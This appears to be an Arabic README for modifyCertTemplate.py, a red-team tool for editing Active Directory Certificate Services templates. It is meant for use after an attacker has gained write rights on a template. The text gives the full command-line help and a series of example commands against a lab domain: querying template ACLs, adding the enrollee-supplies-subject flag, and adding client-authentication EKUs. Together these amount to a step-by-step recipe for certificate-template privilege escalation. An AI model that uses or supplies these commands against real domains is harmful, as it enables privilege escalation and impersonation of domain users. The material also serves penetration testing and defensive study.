
تعديل قالب شهادة ADCS وتعداد ACL
تم تصميم هذه الأداة لمساعدة المشغل في تعديل قوالب شهادات ADCS بحيث يمكن استغلال حالة ضعيفة تم إنشاؤها لتصعيد الامتيازات (ثم إعادة القالب إلى حالته السابقة بعد ذلك). تم تصميم هذه الأداة خصيصًا لسيناريو حيث تم اختراق حقوق WriteProperty على قالب، لكن المشغل غير متأكد من الخصائص التي تنطبق عليها هذه الحقوق. في هذا السيناريو، يمكن الاستعلام عن قائمة التحكم بالوصول (ACL) للقالب ويمكن مقارنة معلومات ACE المطبقة مع GUIDs الخاص بالخصائص لتحديد الخصائص القابلة للتعديل.
مقال المدونة المرتبط بالأداة والموضوع.
usage: modifyCertTemplate.py [-h] -template template name [-property property name] [-value new value] [-get-acl] [-dn distinguished name] [-raw] [-add flag name] [-debug]
[-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-ldaps]
target
Modify the attributes of an Active Directory certificate template
positional arguments:
target [[domain/]username[:password]
optional arguments:
-h, --help show this help message and exit
-template template name
Name of the target certificate template
-property property name
Name of the target template property
-value new value Value to set the specified template property to
-get-acl Print the certificate's ACEs
-dn distinguished name
Explicitly set the distinguished name of the certificate template
-raw Output the raw certificate template attributes
-add flag name Add a flag to an attribute, maintaining the existing flags
-debug Turn DEBUG output ON
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will
use the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-ldaps Use LDAPS instead of LDAP
الاستعلام عن قالب الشهادة (جميع السمات)
python3 modifyCertTemplate.py -template KerberosAuthentication ez.lab/administrator:pass
الاستعلام عن سمة واحدة من قالب الشهادة
python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass
الاستعلام عن القيم الخام لجميع سمات القالب
python3 modifyCertTemplate.py -template KerberosAuthentication -raw ez.lab/administrator:pass
الاستعلام عن قائمة التحكم بالوصول (ACL) لقالب الشهادة
python3 modifyCertTemplate.py -template KerberosAuthentication -get-acl ez.lab/administrator:pass
على الرغم من عدم ارتباطه بقوالب الشهادات، يمكن الاستعلام عن ACL لأي كائن من خلال تقديم الاسم المميز للكائن
python3 modifyCertTemplate.py -dn "CN=ws1,CN=computers,DC=ez,DC=lab" -get-acl ez.lab/administrator:pass
إضافة العلم ENROLLEE_SUPPLIES_SUBJECT إلى خاصية msPKI-Certificate-Name-Flag للقالب
python3 modifyCertTemplate.py -template KerberosAuthentication -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass
تحديث قيمة سمة من سمات قالب الشهادة (خصائص غير قائمة)
python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag -value -150994944 ez.lab/administrator:pass
إضافة EKU إلى خاصية pKIExtendedKeyUsage
python3 modifyCertTemplate.py -template KerberosAuthentication -add "client authentication" -property pKIExtendedKeyUsage ez.lab/administrator:pass
تحديث قيمة سمة بتنسيق قائمة (أي تعيين قيمة pKIExtendedKeyUsage بشكل صريح)
python3 modifyCertTemplate.py -template KerberosAuthentication -value "'1.3.6.1.5.5.7.3.4', '1.3.6.1.5.5.7.3.2'" -property pKIExtendedKeyUsage ez.lab/administrator:pass